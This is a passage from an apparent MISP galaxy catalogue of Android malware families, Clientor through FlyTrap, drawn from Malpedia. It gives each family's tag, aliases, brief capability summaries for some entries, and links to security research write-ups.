https://forbiddenstories.org/about-the-pegasus-project/

https://forbiddenstories.org/the-pegasus-project-a-worldwide-collaboration-to-counter-a-global-crime/
https://www.washingtonpost.com/investigations/2021/07/18/takeaways-nso-pegasus-project/
https://twitter.com/alexanderjaeger/status/1417447732030189569
https://www.reuters.com/technology/how-saudi-womans-iphone-revealed-hacking-around-world-2022-02-17/
https://arkadiyt.com/2021/07/25/scanning-your-iphone-for-nso-group-pegasus-malware/
https://cybergeeks.tech/a-technical-analysis-of-pegasus-for-android-part-2/
https://citizenlab.ca/2018/09/hide-and-seek-tracking-nso-groups-pegasus-spyware-to-operations-in-45-countries/
https://threatpost.com/nso-pegasus-spyware-bans-apple-accountability/167965/
https://www.washingtonpost.com/investigations/interactive/2021/nso-spyware-pegasus-cellphones/

Clientor

The tag is: *misp-galaxy:malpedia="Clientor"*

Clientor is also known as:

Table 2162. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.clientor
https://twitter.com/LukasStefanko/status/1042297855602503681

Clipper

The tag is: *misp-galaxy:malpedia="Clipper"*

Clipper is also known as:

Table 2163. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.clipper
https://news.drweb.com/show?lng=en&i=12739
https://lukasstefanko.com/2019/02/android-clipper-found-on-google-play.html
https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/
https://web.archive.org/web/20201107225915/https://lukasstefanko.com/2019/02/android-clipper-found-on-google-play.html

CloudAtlas

The tag is: *misp-galaxy:malpedia="CloudAtlas"*

CloudAtlas is also known as:

Table 2164. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.cloudatlas
https://web.archive.org/web/20160710180729/https://www.bluecoat.com/security-blog/2014-12-09/blue-coat-exposes-%E2%80%9C-inception-framework%E2%80%9D-very-sophisticated-layered-malware

CometBot

The tag is: *misp-galaxy:malpedia="CometBot"*

CometBot is also known as:

Table 2165. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.comet_bot
https://twitter.com/LukasStefanko/status/1102937833071935491

Connic

The tag is: *misp-galaxy:malpedia="Connic"*

Connic is also known as:

- SpyBanker

Table 2166. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.connic
https://www.welivesecurity.com/2017/12/11/banking-malware-targets-polish-banks/

Coper

Coper is an Android banking trojan and RAT descended from ExobotCompact, itself a rewrite of Exobot. It uses a modular architecture, a multi-stage infection chain and (in some variants) a DGA. First observed in Colombia, it has since spread to Europe.

The tag is: *misp-galaxy:malpedia="Coper"*

Coper is also known as:

- ExobotCompact
- Octo

Table 2167. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.coper
https://thehackernews.com/2022/04/new-octo-banking-trojan-spreading-via.html
https://www.trendmicro.com/en_us/research/22/g/examining-new-dawdropper-banking-dropper-and-daas-on-the-dark-we.html
https://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/
https://www.intrinsec.com/wp-content/uploads/2024/11/TLP-CLEAR-PROSPERO-Proton66-Uncovering-the-links-between-bulletproof-networks.pdf
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jan-Jun%202024%20Botnet%20Threat%20Update.pdf
https://www.virusbulletin.com/conference/vb2024/abstracts/octopus-prime-didnt-turn-truck-widely-spread-android-botnet/
https://www.domaintools.com/resources/blog/uncovering-octo2-domains/
https://threatfabric.com/blogs/octo-new-odf-banking-trojan.html
https://blog.cyble.com/2022/03/24/coper-banking-trojan/
https://labs.k7computing.com/index.php/play-store-app-serves-coper-via-github/
https://news.drweb.com/show/?p=0&lng=en&i=14259&c=0
https://www.spamhaus.org/resource-hub/botnet-c-c/botnet-threat-update-january-to-june-2025/
https://labs.k7computing.com/index.php/android-banking-trojan-octov2-masquerading-as-deepseek-ai/
https://x.com/cleafylabs/status/1833145006585987374
https://www.bleepingcomputer.com/news/security/new-android-banking-malware-remotely-takes-control-of-your-device/
https://www.team-cymru.com/post/coper-octo-a-conductor-for-mobile-mayhem-with-eight-limbs
https://www.threatfabric.com/blogs/octo2-european-banks-already-under-attack-by-new-malware-variant
https://cert.pl/posts/2021/12/aktywacja-aplikacji-iko/
https://resecurity.com/blog/article/in-the-box-mobile-malware-webinjects-marketplace
https://www.intrinsec.com/prospero-proton66-tracing-uncovering-the-links-between-bulletproof-networks/
https://twitter.com/*icebre4ker*/status/1541875982684094465

https://info.spamhaus.com/hubfs/Botnet%20Reports/Jul-Dec%202024%20Botnet%20Threat%20Update.pdf

Copybara

The tag is: *misp-galaxy:malpedia="Copybara"*

Copybara is also known as:

Table 2168. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.copybara
https://www.cleafy.com/cleafy-labs/on-device-fraud-on-the-rise-exposing-a-recent-copybara-fraud-campaign
https://www.threatfabric.com/blogs/brata-a-tale-of-three-families
https://www.threatfabric.com/blogs/brata-a-tale-of-three-families.html
https://www.threatfabric.com/blogs/toad-fraud
https://www.zscaler.com/blogs/security-research/technical-analysis-copybara

Coronavirus Android Worm

Poses as an app that can offer a "corona safety mask" but phone’s address book and sends sms to contacts, spreading its own download link.

The tag is: *misp-galaxy:malpedia="Coronavirus Android Worm"*

Coronavirus Android Worm is also known as:

Table 2169. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.corona_worm
https://dissectingmalwa.re/jamba-superdeal-helo-sir-you-want-to-buy-mask-corona-safety-mask-sms-scam.html
https://www.zscaler.com/blogs/research/new-android-app-offers-coronavirus-safety-mask-delivers-sms-trojan

Cpuminer (Android)

The tag is: *misp-galaxy:malpedia="Cpuminer (Android)"*

Cpuminer (Android) is also known as:

Table 2170. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.cpuminer
https://blog.trendmicro.com/trendlabs-security-intelligence/coin-miner-mobile-malware-returns-hits-google-play/

CraxsRAT

The tag is: *misp-galaxy:malpedia="CraxsRAT"*

CraxsRAT is also known as:

Table 2171. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.craxs_rat
https://cloud.google.com/blog/topics/threat-intelligence/russian-espionage-influence-ukrainian-military-recruits-anti-mobilization-narratives?hl=en
https://cocomelonc.github.io/book/2025/05/19/aiya-mmd-book.html
https://cloud.google.com/blog/topics/threat-intelligence/russian-espionage-influence-ukrainian-military-recruits-anti-mobilization-narratives
https://www.group-ib.com/blog/craxs-rat-malware/

Crocodilus

According to ThreatFabric, this malware offers remote control, black screen overlays, and advanced data harvesting via accessibility logging.

The tag is: *misp-galaxy:malpedia="Crocodilus"*

Crocodilus is also known as:

Table 2172. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.crocodilus
https://medium.com/@mvaks/bombardino-crocodilo-in-poland-analysis-of-iko-lokaty-mobile-malware-campaign-502bd74947f3
https://www.threatfabric.com/blogs/crocodilus-mobile-malware-evolving-fast-going-global
https://www.threatfabric.com/blogs/exposing-crocodilus-new-device-takeover-malware-targeting-android-devices
https://medium.com/@mvaks/crocodilus-in-the-wild-mapping-the-campaign-in-poland-15d3078eb954
https://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities

CryCryptor

According to NHS Digital, CryCryptor is distributed via websites that spoof health organisations. At the time of publication these websites have affected the Canadian health service. CryCryptor cannot be obtained from the Google Play store, so devices restricted to only running apps from the store are not affected.

When CryCryptor is run it encrypts common file types and saves a ransom note to every directory where files have been encrypted. Encrypted files have the extension '.enc' appended to the filenames. Additional files are saved containing the salt values used in each encryption and an initialisation vector. These files have the extensions '.enc.salt' and '.enc.iv' respectively.

When files have been encrypted, a notification is displayed directing users to open the ransom note.

The tag is: *misp-galaxy:malpedia="CryCryptor"*

CryCryptor is also known as:

- CryCrypter
- CryDroid

Table 2173. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.crycryptor
https://www.welivesecurity.com/2020/06/24/new-ransomware-uses-covid19-tracing-guise-target-canada-eset-decryptor/

CyberAzov

The tag is: *misp-galaxy:malpedia="CyberAzov"*

CyberAzov is also known as:

Table 2174. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.cyber_azov
https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag
https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag/
https://twitter.com/sekoia_io/status/1554086468104196096

DAAM

According to PCrisk, DAAM is an Android malware utilized to gain unauthorized access to targeted

devices since 2021. With the DAAM Android botnet, threat actors can bind harmful code with a genuine application using its APK binding service.

Lookout refers to this malware as BouldSpy and assesses with medium confidence that this Android surveillance tool is used by the Law Enforcement Command of the Islamic Republic of Iran (FARAJA).

The tag is: *misp-galaxy:malpedia="DAAM"*

DAAM is also known as:

- BouldSpy

Table 2175. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.daam
https://blog.cyble.com/2023/04/20/daam-android-botnet-being-distributed-through-trojanized-applications/
https://www.lookout.com/blog/iranian-spyware-bouldspy

Dark Shades

The tag is: *misp-galaxy:malpedia="Dark Shades"*

Dark Shades is also known as:

- Rogue

Table 2176. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.darkshades
https://twitter.com/LukasStefanko/status/1252163657036976129

DawDropper

The tag is: *misp-galaxy:malpedia="DawDropper"*

DawDropper is also known as:

Table 2177. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.dawdropper
https://www.trendmicro.com/en_us/research/22/g/examining-new-dawdropper-banking-dropper-and-daas-on-the-dark-we.html

DEFENSOR ID

The tag is: *misp-galaxy:malpedia="DEFENSOR ID"*

DEFENSOR ID is also known as:

- Defensor Digital

Table 2178. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.defensor_id
https://www.welivesecurity.com/2020/05/22/insidious-android-malware-gives-up-all-malicious-features-but-one-gain-stealth/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf

Dendroid

The tag is: *misp-galaxy:malpedia="Dendroid"*

Dendroid is also known as:

Table 2179. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.dendroid
https://cocomelonc.github.io/book/2025/05/19/aiya-mmd-book.html
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=a29d7d7a-f150-46cf-9bb9-a1f9f4d32a80&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments

DHCSpy

According to Lookout, DCHSpy is an Android surveillanceware tool leveraged by Iranian cyber espionage group MuddyWater. DCHSpy collects WhatsApp data, accounts, contacts, SMS, files, location, and call logs, and can record audio and take photos.

The tag is: *misp-galaxy:malpedia="DHCSpy"*

DHCSpy is also known as:

Table 2180. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.dhcspy
https://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater

https://www.lookout.com/threat-intelligence/article/lookout-discovers-iranian-dchsy-surveillanceware

dmsSpy

The tag is: *misp-galaxy:malpedia="dmsSpy"*

dmsSpy is also known as:

Table 2181. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.dmsspy
https://documents.trendmicro.com/assets/Tech-Brief-Operation-Poisoned-News-Hong-Kong-Users-Targeted-with-Mobile-Malware-via-Local-News-Links.pdf
https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/
https://blog.trendmicro.com/trendlabs-security-intelligence/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/

DoubleAgent

The tag is: *misp-galaxy:malpedia="DoubleAgent"*

DoubleAgent is also known as:

Table 2182. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.doubleagent
https://www.lookout.com/documents/threat-reports/us/lookout-uyghur-malware-tr-us.pdf

DoubleLocker

The tag is: *misp-galaxy:malpedia="DoubleLocker"*

DoubleLocker is also known as:

Table 2183. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.doublelocker
https://www.welivesecurity.com/2017/10/13/doublelocker-innovative-android-malware/

Dracarys

Android malware that impersonates genuine applications such as Signal, Telegram, WhatsApp, YouTube, and other chat applications and distributes through phishing sites.

The tag is: *misp-galaxy:malpedia="Dracarys"*

Dracarys is also known as:

Table 2184. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.dracarys
https://blog.cyble.com/2022/08/09/bitter-apt-group-using-dracarys-android-spyware/

DragonEgg

Android variant of ios.LightSpy.

The tag is: *misp-galaxy:malpedia="DragonEgg"*

DragonEgg is also known as:

- LightSpy

Table 2185. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.dragonegg
https://www.lookout.com/threat-intelligence/article/wyrmspy-dragonegg-surveillanceware-apt41
https://www.threatfabric.com/blogs/lightspy-mapt-mobile-payment-system-attack

DroidBot

According to Cleafy, DroidBot is a modern RAT that combines hidden VNC and overlay attack techniques with spyware-like capabilities, such as keylogging and user interface monitoring. Moreover, it leverages dual-channel communication, transmitting outbound data through MQTT and receiving inbound commands via HTTPS, providing enhanced operation flexibility and resilience.

The tag is: *misp-galaxy:malpedia="DroidBot"*

DroidBot is also known as:

Table 2186. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.droidbot

https://www.cleafy.com/cleafy-labs/droidbot-insights-from-a-new-turkish-maas-fraud-operation

DroidJack

The tag is: *misp-galaxy:malpedia="DroidJack"*

DroidJack is also known as:

Table 2187. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.droidjack
https://www.stratosphereips.org/blog/2021/1/22/analysis-of-droidjack-v44-rat-network-traffic

DroidLock

According to Zimperium, DroidLock has the ability to lock device screens with a ransomware-like overlay and illegally acquire app lock credentials, leading to a total takeover of the compromised device.

It employs deceptive system update screens to trick victims and can stream and remotely control devices via VNC. The malware also exploits device administrator privileges to lock or erase data, capture the victim's image with the front camera, and silence the device. Overall, it utilizes 15 distinct commands to interact with its C2 panel.

The tag is: *misp-galaxy:malpedia="DroidLock"*

DroidLock is also known as:

Table 2188. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.droidlock
https://zimperium.com/blog/total-takeover-droidlock-hijacks-your-device

DroidWatcher

The tag is: *misp-galaxy:malpedia="DroidWatcher"*

DroidWatcher is also known as:

Table 2189. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.droidwatcher
https://documents.trendmicro.com/assets/white_papers/wp-void-balaur-tracking-a-cybermercenarys-activities.pdf

https://www.lookout.com/threat-intelligence/article/gamaredon-russian-android-surveillanceware

DualToy (Android)

The tag is: *misp-galaxy:malpedia="DualToy (Android)"*

DualToy (Android) is also known as:

Table 2190. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.dualtoy
http://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/

Dvmap

The tag is: *misp-galaxy:malpedia="Dvmap"*

Dvmap is also known as:

Table 2191. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.dvmap
https://securelist.com/mobile-malware-evolution-2019/96280/
https://securelist.com/dvmap-the-first-android-malware-with-code-injection/78648/

EagleMsgSpy

According to Lookout, EagleMsgSpy is a lawful intercept surveillance tool developed by a Chinese software development company with use by public security bureaus in mainland China. Early samples indicate the surveillance tool has been operational since at least 2017, with development continued into late 2024. EagleMsgSpy collects extensive data from the user: third-party chat messages, screen recording and screenshot capture, audio recordings, call logs, device contacts, SMS messages, location data, network activity. Through infrastructure overlap and artifacts from open command and control directories, Lookout attributes EagleMsgSpy to Wuhan Chinasoft Token Information Technology Co., Ltd. with high confidence.

The tag is: *misp-galaxy:malpedia="EagleMsgSpy"*

EagleMsgSpy is also known as:

Table 2192. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.eagle_msg_spy

https://www.lookout.com/threat-intelligence/article/eaglemsgspy-chinese-android-surveillanceware

Elibomi

The tag is: *misp-galaxy:malpedia="Elibomi"*

Elibomi is also known as:

- Drinik

Table 2193. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.elibomi
https://blog.cyble.com/2021/09/07/fake-income-tax-application-targets-indian-taxpayers/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/phishing-android-malware-targets-taxpayers-in-india/
https://www.trendmicro.com/en_vn/research/22/k/massive-phishing-campaigns-target-india-banks-clients.html#:}:text=We%20found%20five%20banking%20malware

ERMAC

According to Intel471, ERMAC, an Android banking trojan enables bad actors to determine when certain apps are launched and then overwrites the screen display to steal the user's credentials

The tag is: *misp-galaxy:malpedia="ERMAC"*

ERMAC is also known as:

Table 2194. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ermac
https://blog.cyble.com/2022/05/25/ermac-back-in-action/
https://resecurity.com/blog/article/in-the-box-mobile-malware-webinjects-marketplace
https://research.nccgroup.com/2023/09/11/from-ermac-to-hook-investigating-the-technical-differences-between-two-android-malware-variants/
https://hunt.io/blog/ermac-v3-banking-trojan-source-code-leak
https://www.threatfabric.com/blogs/zombinder-ermac-and-desktop-stealers.html

https://twitter.com/ESETresearch/status/1445618031464357888
https://twitter.com/ShilpeshTrivedi/status/1709096404835356883
https://www.threatfabric.com/blogs/ermac-another-cerberus-reborn.html
https://www.linkedin.com/posts/threatmon_rising-threat-ermac-variant-activity-7305193522180071426-J8c5
https://intel471.com/blog/rmac-2-0-perfecting-the-art-of-account-takeover

ErrorFather

ErrorFather is an Android banking trojan with a multi-stage dropper. The final payload is derived from the Cerberus source code leak.

The tag is: *misp-galaxy:malpedia="ErrorFather"*

ErrorFather is also known as:

Table 2195. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.errorfather
https://cyble.com/blog/hidden-in-plain-sight-errorfathers-deadly-deployment-of-cerberus/

Eventbot

According to ThreatFabric, the app overlays 15 financial targets from UK, Italy, and Spain, sniffs 234 apps from banks located in Europe as well as crypto wallets.

The tag is: *misp-galaxy:malpedia="Eventbot"*

Eventbot is also known as:

Table 2196. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.eventbot
https://www.cybereason.com/blog/eventbot-a-new-mobile-banking-trojan-is-born
https://twitter.com/ThreatFabric/status/1240664876558823424
https://www.youtube.com/watch?v=qqwOrLR2rgU

ExoBot

The tag is: *misp-galaxy:malpedia="ExoBot"*

ExoBot is also known as:

Table 2197. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.exobot
https://www.bleepingcomputer.com/news/security/source-code-for-exobot-android-banking-trojan-leaked-online/
https://www.bleepingcomputer.com/news/security/new-android-banking-malware-remotely-takes-control-of-your-device/
https://www.bleepingcomputer.com/news/security/new-exo-android-trojan-sold-on-hacking-forums-dark-web/
https://securityintelligence.com/ibm-x-force-delves-into-exobots-leaked-source-code/
https://threatfabric.com/blogs/octo-new-odf-banking-trojan.html
https://blog.cyble.com/2022/03/24/coper-banking-trojan/
https://www.bleepingcomputer.com/news/security/exobot-author-calls-it-quits-and-sells-off-banking-trojan-source-code/

Exodus

The tag is: *misp-galaxy:malpedia="Exodus"*

Exodus is also known as:

Table 2198. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.exodus
https://securitywithoutborders.org/blog/2019/03/29/exodus.html
https://motherboard.vice.com/en_us/article/eveeq4/prosecutors-investigation-esurv-exodus-malware-on-google-play-store
https://motherboard.vice.com/en_us/article/43z93g/hackers-hid-android-malware-in-google-play-store-exodus-esurv
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf

FaceStealer

Facebook Credential Stealer.

The tag is: *misp-galaxy:malpedia="FaceStealer"*

FaceStealer is also known as:

Table 2199. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/apk.facestealer
https://www.trendmicro.com/en_us/research/22/e/fake-mobile-apps-steal-facebook-credentials—crypto-related-keys.html
https://labs.k7computing.com/index.php/facestealer-the-rise-of-facebook-credential-stealer-malware/
https://threatpost.com/facestealer-trojan-google-play-facebook/179015/
https://blogs.quickheal.com/stay-alert-of-facebook-credential-stealer-applications-stealing-users-credentials/

FakeAdBlocker

The tag is: *misp-galaxy:malpedia="FakeAdBlocker"*

FakeAdBlocker is also known as:

Table 2200. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.fakeadblocker
https://www.welivesecurity.com/2021/07/20/url-shortener-services-android-malware-banking-sms-trojans/

Fakecalls

According to Kaspersky, Fakecalls is a Trojan that masquerades as a banking app and imitates phone conversations with bank employees.

The tag is: *misp-galaxy:malpedia="Fakecalls"*

Fakecalls is also known as:

Table 2201. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.fakecalls
https://www.kaspersky.com.au/blog/fakecalls-banking-trojan/30379/
https://research.checkpoint.com/2023/south-korean-android-banking-menace-fakecalls/

FakeDefend

The tag is: *misp-galaxy:malpedia="FakeDefend"*

FakeDefend is also known as:

Table 2202. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.fakedefend
https://www.fortiguard.com/encyclopedia/virus/5543975/android-fakedefend-c-tr

FakeSpy

The tag is: *misp-galaxy:malpedia="FakeSpy"*

FakeSpy is also known as:

Table 2203. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.fakespy
https://www.trendmicro.com/en_us/research/18/k/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang.html
https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/
https://blog.trendmicro.com/trendlabs-security-intelligence/fakespy-android-information-stealing-malware-targets-japanese-and-korean-speaking-users/
https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681
https://www.trendmicro.com/en_us/research/18/f/fakespy-android-information-stealing-malware-targets-japanese-and-korean-speaking-users.html

FakeGram

The tag is: *misp-galaxy:malpedia="FakeGram"*

FakeGram is also known as:

- FakeTGram

Table 2204. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.faketgram
https://cocomelonc.github.io/book/2025/05/19/aiya-mmd-book.html
https://blog.talosintelligence.com/2018/11/persian-stalker.html

FastFire

The tag is: *misp-galaxy:malpedia="FastFire"*

FastFire is also known as:

Table 2205. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.fastfire
https://medium.com/s2wblog/unveil-the-evolution-of-kimsuky-targeting-android-devices-with-newly-discovered-mobile-malware-280dae5a650f

FastSpy

The tag is: *misp-galaxy:malpedia="FastSpy"*

FastSpy is also known as:

Table 2206. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.fastspy
https://medium.com/s2wblog/unveil-the-evolution-of-kimsuky-targeting-android-devices-with-newly-discovered-mobile-malware-280dae5a650f

FileCoder

According to heimdal, A new strain of ransomware emerged on Android mobile devices. It targets those who are running the operating system Android 5.1 and higher. This Android ransomware strain has been dubbed by security researchers FileCoder (Android/Filecoder.c) and it spreads via text messages containing a malicious link.

The tag is: *misp-galaxy:malpedia="FileCoder"*

FileCoder is also known as:

Table 2207. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.filecoder
https://www.welivesecurity.com/2019/07/29/android-ransomware-back/

FinFisher (Android)

The tag is: *misp-galaxy:malpedia="FinFisher (Android)"*

FinFisher (Android) is also known as:

Table 2208. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/apk.finfisher
https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/
https://raw.githubusercontent.com/DefensiveLabAgency/FinSpy-for-Android/master/20200806_finspy_android_analysis_public_release.pdf
https://securelist.com/new-finspy-ios-and-android-implants-revealed-itw/91685/
https://securelist.com/finspy-unseen-findings/104322/
https://github.com/linuzifer/FinSpy-Dokumentation
https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/

FlexiSpy (Android)

The tag is: *misp-galaxy:malpedia="FlexiSpy (Android)"*

FlexiSpy (Android) is also known as:

Table 2209. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.flexispy
https://www.randhome.io/blog/2017/04/23/lets-talk-about-flexispy/
https://mobisec.reyammer.io/slides

FlexNet

The tag is: *misp-galaxy:malpedia="FlexNet"*

FlexNet is also known as:

- gugi

Table 2210. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.flexnet
https://securelist.com/mobile-malware-evolution-2019/96280/
https://twitter.com/LukasStefanko/status/886849558143279104

FluBot

PRODAFT describes FluBot as a banking malware which originally targeted Spain. Since the first quarter of 2021 it has been targeting many other European countries as well as Japan. It uses a DGA for it's C&C and relies on both DNS and DNS-over-HTTPS for name resolution. Despite arrests of

multiple people suspected of involvement with this malware in March of 2021, the campaign has only intensified since.

The tag is: *misp-galaxy:malpedia="FluBot"*

FluBot is also known as:

- Cabassous
- FakeChat

Table 2211. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.flubot
https://www.infinitumit.com.tr/flubot-zararlisi/
https://medium.com/walmartglobaltech/a-look-at-an-android-bot-from-unpacking-to-dga-e331554f9fb9
https://news.netcraft.com/archives/2021/08/17/resurgent-flubot-malware-targets-german-and-polish-banks.html
https://securityblog.switch.ch/2021/06/19/android-flubot-enters-switzerland/
https://twitter.com/albertosegura/status/1399249798063087621?s=20
https://www.threatfabric.com/blogs/partners-in-crime-medusa-cabassous.html
https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/
https://twitter.com/albertosegura/status/1404098461440659459
https://cryptax.medium.com/android-flubot-preparing-for-a-new-campaign-2f7563fc6c06
https://info.spamhaus.com/hubfs/Botnet%20Reports/Q4%202023%20Botnet%20Threat%20Update.pdf
https://www.bitdefender.com/blog/labs/new-flubot-and-teabot-global-malware-campaigns-discovered
https://securityintelligence.com/posts/story-of-fakechat-malware/
https://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/
https://labs.bitdefender.com/2021/06/threat-actors-use-mockups-of-popular-apps-to-spread-teabot-and-flubot-malware-on-android/
https://www.proofpoint.com/us/blog/threat-insight/flubot-android-malware-spreading-rapidly-through-europe-may-hit-us-soon
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jan-Jun%202024%20Botnet%20Threat%20Update.pdf

https://therecord.media/despite-arrests-in-spain-flubot-operations-explode-across-europe-and-japan/

https://www.f5.com/labs/articles/threat-intelligence/flubots-authors-employ-creative-and-sophisticated-techniques-to-achieve-their-goals-in-version-50-and-beyond

https://www.europol.europa.eu/media-press/newsroom/news/takedown-of-sms-based-flubot-spyware-infecting-android-phones

https://www.prodaft.com/m/reports/FluBot_4.pdf

https://www.spamhaus.org/resource-hub/botnet-c-c/botnet-threat-update-january-to-june-2025/

https://blog.zimperium.com/flubot-vs-zimperium/

https://blog.fox-it.com/2022/06/29/flubot-the-evolution-of-a-notorious-android-banking-malware/

https://www.telekom.com/en/blog/group/article/flubot-under-the-microscope-636368

https://twitter.com/albertosegura/status/1384840011892285440

https://twitter.com/albertosegura/status/1402615237296148483

https://www.cert.govt.nz/individuals/news-and-events/parcel-delivery-text-message-infecting-android-phones/

https://twitter.com/malwrhunterteam/status/1359939300238983172

https://medium.com/csis-techblog/the-brief-glory-of-cabassous-flubot-a-private-android-banking-botnet-bc2ed7917027

https://twitter.com/albertosegura/status/1395675479194095618

https://therecord.media/flubot-malware-gang-arrested-in-barcelona/

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q3%20Botnet%20Threat%20Update.pdf

https://www.nortonlifelock.com/blogs/research-group/flubot-targets-android-phone-users

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf

https://www.bitsight.com/blog/flubot-malware-persists-most-prevalent-germany-and-spain

https://news.netcraft.com/archives/2021/08/04/flubot-malware-spreads-to-australia.html

https://hispasec.com/resources/FedexBanker.pdf

https://thehackernews.com/2022/01/widespread-flubot-and-teabot-malware.html

https://www.ncsc.admin.ch/22w12-de

https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf

https://info.spamhaus.com/hubfs/Botnet%20Reports/Jul-Dec%202024%20Botnet%20Threat%20Update.pdf
https://raw.githubusercontent.com/prodaft/malware-ioc/master/FluBot/FluBot.pdf
https://blog.cyble.com/2021/09/09/flubot-variant-masquerading-as-the-default-android-voicemail-app/
https://mobile.twitter.com/albertosegura/status/1400396365759500289

FluHorse

According to Check Point, this malware features several malicious Android applications that mimic legitimate applications, most of which have more than 1,000,000 installs. These malicious apps steal the victims' credentials and Two-Factor Authentication (2FA) codes. FluHorse targets different sectors of Eastern Asian markets and is distributed via emails. In some cases, the emails used in the first stage of the attacks belong to high-profile entities. The malware can remain undetected for months making it a persistent, dangerous, and hard-to-spot threat.

The tag is: *misp-galaxy:malpedia="FluHorse"*

FluHorse is also known as:

Table 2212. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.fluhorse
https://www.fortinet.com/blog/threat-research/fortinet-reverses-flutter-based-android-malware-fluhorse
https://cryptax.medium.com/inside-kangapack-the-kangaroo-packer-with-native-decryption-3e7e054679c4
https://research.checkpoint.com/2023/eastern-asian-android-assault-fluhorse/

FlyTrap

Zimperium notes that this malware has hit more than 10,000 victims in 140+ countries using social media hijacking, 3rd party app stores and sideloading.

The tag is: *misp-galaxy:malpedia="FlyTrap"*

FlyTrap is also known as:

Table 2213. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.flytrap

